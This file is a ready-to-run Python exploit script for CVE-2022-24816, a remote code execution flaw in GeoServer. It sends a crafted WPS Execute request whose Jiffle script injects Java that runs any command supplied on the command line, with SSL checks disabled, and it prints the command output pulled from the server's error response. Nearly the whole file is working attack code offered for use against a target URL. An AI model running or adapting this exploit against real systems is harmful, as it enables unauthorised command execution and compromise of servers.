import re import requests import argparse import urllib3 from colorama import init, Fore, Style # Colores usando colorama init(autoreset=True) VERDE = Fore.GREEN CIAN = Fore.CYAN AZUL = Fore.BLUE ROJO = Fore.RED RESET = Style.RESET_ALL # Deshabilitar advertencias de seguridad por desactivación de la verificación SSL urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Mostrar el banner def mostrar_banner(): print(f"{VERDE}#########################################################{RESET}") print(f"{CIAN}# #{RESET}") print(f"{VERDE}# ████▓▒░ CVE-2022-24816 ░▒▓████ #{RESET}") print(f"{CIAN}# #{RESET}") print(f"{VERDE}#########################################################{RESET}") print(f"{AZUL}# ▓▒░ Creado por: C1ph3rByt3 #{RESET}") print(f"{VERDE}#########################################################{RESET}") print() def extraer_salida_comando(respuesta_xml): """ Extrae y limpia la salida del comando ejecutado de la respuesta XML. :param respuesta_xml: La respuesta XML del servidor. :return: La salida del comando limpia o None si no se encuentra. """ # Usar una expresión regular para encontrar el contenido dentro de coincidencia = re.search(r".*?ExceptionInInitializerError - (.*?)", respuesta_xml, re.DOTALL) if coincidencia: # Extraer la salida del comando salida_comando = coincidencia.group(1).strip() return salida_comando return None def explotar_geoserver(url, comando): """ Explota la vulnerabilidad RCE de GeoServer (CVE-2022-24816) enviando una solicitud maliciosa de WPS Execute. :param url: La URL objetivo de GeoServer (por ejemplo, "http://ejemplo.com" o "https://ejemplo.com"). :param comando: El comando que se ejecutará en el sistema objetivo. :return: None """ url_objetivo = f"{url.rstrip('/')}/geoserver/wms" # Payload malicioso payload = ( "" "" "ras:Jiffle" "" "" "coverage" "" "" "" "" "" "script" "" f"dest = y() - (500); // */ public class Double {{ public static double NaN = 0; static {{ try {{ java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"{comando}\").getInputStream())); String line = null; String allLines = \" - \"; while ((line = reader.readLine()) != null) {{ allLines += line; }} throw new RuntimeException(allLines);}} catch (java.io.IOException e) {{}} }} }} /**" "" "" "" "outputType" "" "DOUBLE" "" "" "" "" "" "result" "" "" "" ) headers = { "Host": url.split('://')[1].split('/')[0], "Content-Type": "application/xml", } try: response = requests.post(url_objetivo, headers=headers, data=payload, timeout=10, verify=False) if response.status_code == 200: salida_comando = extraer_salida_comando(response.text) if salida_comando: print(f"{VERDE}[+] Comando ejecutado con éxito:{RESET}") print(f"{CIAN}{salida_comando}{RESET}") else: print(f"{ROJO}[-] No se encontró la salida del comando en la respuesta.{RESET}") else: print(f"{ROJO}[-] Código de estado inesperado recibido: {response.status_code}{RESET}") except requests.exceptions.RequestException as e: print(f"{ROJO}[!] Error: {e}{RESET}") if __name__ == "__main__": mostrar_banner() parser = argparse.ArgumentParser(description="Explotar vulnerabilidad RCE en GeoServer (CVE-2022-24816)") parser.add_argument("-u", "--url", required=True, help="URL objetivo de GeoServer (por ejemplo, http://ejemplo.com o https://ejemplo.com)") parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema objetivo") args = parser.parse_args() explotar_geoserver(args.url, args.command)